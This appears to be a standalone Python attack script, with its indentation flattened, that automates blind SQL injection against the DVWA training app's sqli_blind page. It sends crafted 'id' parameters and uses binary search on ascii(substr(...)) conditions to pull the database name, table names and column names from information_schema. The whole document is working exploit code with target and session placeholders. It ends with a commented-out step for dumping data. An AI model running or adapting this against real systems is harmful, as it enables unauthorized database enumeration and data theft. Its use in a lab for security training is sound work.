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sqli blind low.py
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sqli blind low.py
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import urllib
from urllib import request, parse
from bs4 import BeautifulSoup
from urllib.parse import urlencode as uc
import requests
header={
'Host': '[YOUR IP]',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'close',
'Referer': 'http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/',
'Cookie': 'security=low; PHPSESSID=[YOUR PHPSESSID]',
'Upgrade-Insecure-Requests': '1'
}
url = 'http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/'
def check(response):
'''
check found
'''
text = response.text
return text.find('MISSING')==-1
def str2hex(s):
ret='0x'
for i in s:
ret+=str(hex(ord(i)))[2:]
return ret
def guessDbLength():
print('Start guess database length:')
for i in range(1,10):
values = {}
values['id']="1' and length(database())="+str(i)+"#"
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.get(newurl,params=values,headers=header)
if check(response):
print('Database length is ',i)
return i
def guessDbName(len):
ret=''
print('Start guess database name:')
for i in range(1,len+1):
l=1;r=127;ans=0
while(l<=r):
mid=(l+r)//2
values = {}
values['id']="1' and ascii(substr(database(),%s,1))>=%s #"%(str(i),str(mid))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.get(newurl,params=values,headers=header)
if check(response):
l=mid+1
ans=mid
else:
r=mid-1
ret+=chr(ans)
print('Database name is',ret)
return ret
def guessTbNumber():
print('Start guess table number:')
for i in range(1,10):
values = {}
values['id']="1' and (select count(table_name) from information_schema.tables where table_schema=database())=%s #" % (str(i))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.get(newurl,params=values,headers=header)
if check(response):
print('Table number is ',i)
return i
def guessTbLength(num):
ret=[]
print('Start guess table length:')
for j in range(num):
for i in range(1,10):
values = {}
values['id']="1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit %s,1),1))=%s#" % (str(j),str(i))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.get(newurl,params=values,headers=header)
if check(response):
ret.append(i)
break
print('Table length is ',ret)
return ret
def guessTbName(nums):
ret=[]
print('Start guess table name:')
for j,num in enumerate(nums):
cur=''
for i in range(1,num+1):
l=1;r=127;ans=0
while(l<=r):
mid=(l+r)//2
values = {}
values['id']="1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1))>=%s #"%(str(j),str(i),str(mid))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.get(newurl,params=values,headers=header)
if check(response):
l=mid+1
ans=mid
else:
r=mid-1
cur+=chr(ans)
ret.append(cur)
print('Table name is',ret)
return ret
def guessFieldNumber(TbNames):
print('Start guess field number:')
ret=[]
for TbName in TbNames:
for i in range(1,15):
values = {}
values['id']="1' and (select count(column_name) from information_schema.columns where table_name= '%s')=%s # " % (TbName,str(i))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.get(newurl,params=values,headers=header)
if check(response):
ret.append(i)
break
print('Field number is ',ret)
return ret
def guessFieldLength(TbNames,FieldNumbers):
ret=[]
print('Start guess field length:')
for i,TbName in enumerate(TbNames):
ret.append([])
for j in range(FieldNumbers[i]):
for k in range(1,20):
values = {}
values['id']="1' and length(substr((select column_name from information_schema.columns where table_name= '%s' limit %s,1),1))=%s #" % (TbName,str(j),str(k))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.get(newurl,params=values,headers=header)
if check(response):
ret[i].append(k)
break
print('Field length is ',ret)
return ret
def guessFieldName(TbNames,FieldLengths):
ret=[]
print('Start guess field name:')
for i,TbName in enumerate(TbNames):
ret.append([])
for j,FieldLength in enumerate(FieldLengths[i]):
cur=''
for k in range(1,FieldLength+1):
l=1;r=127;ans=0
while(l<=r):
mid=(l+r)//2
values = {}
values['id']="1' and ascii(substr((select column_name from information_schema.columns where table_name= '%s' limit %s,1),%s,1))>=%s #"%(TbName,str(j),str(k),str(mid))
values['Submit']='Submit'
newurl = "http://[YOUR IP]/DVWA-2.0.1/vulnerabilities/sqli_blind/"
response = requests.get(newurl,params=values,headers=header)
if check(response):
l=mid+1
ans=mid
else:
r=mid-1
cur+=chr(ans)
ret[i].append(cur)
print('Field name is',ret)
return ret
DbLength = guessDbLength()
guessDbName(DbLength)
TbNumber = guessTbNumber()
TbLengths = guessTbLength(TbNumber)
TbNames = guessTbName(TbLengths)
FieldNumbers = guessFieldNumber(TbNames)
FieldLengths = guessFieldLength(TbNames,FieldNumbers)
FieldNames = guessFieldName(TbNames,FieldLengths)
#Datasets = guessData(TbNames,FieldNames)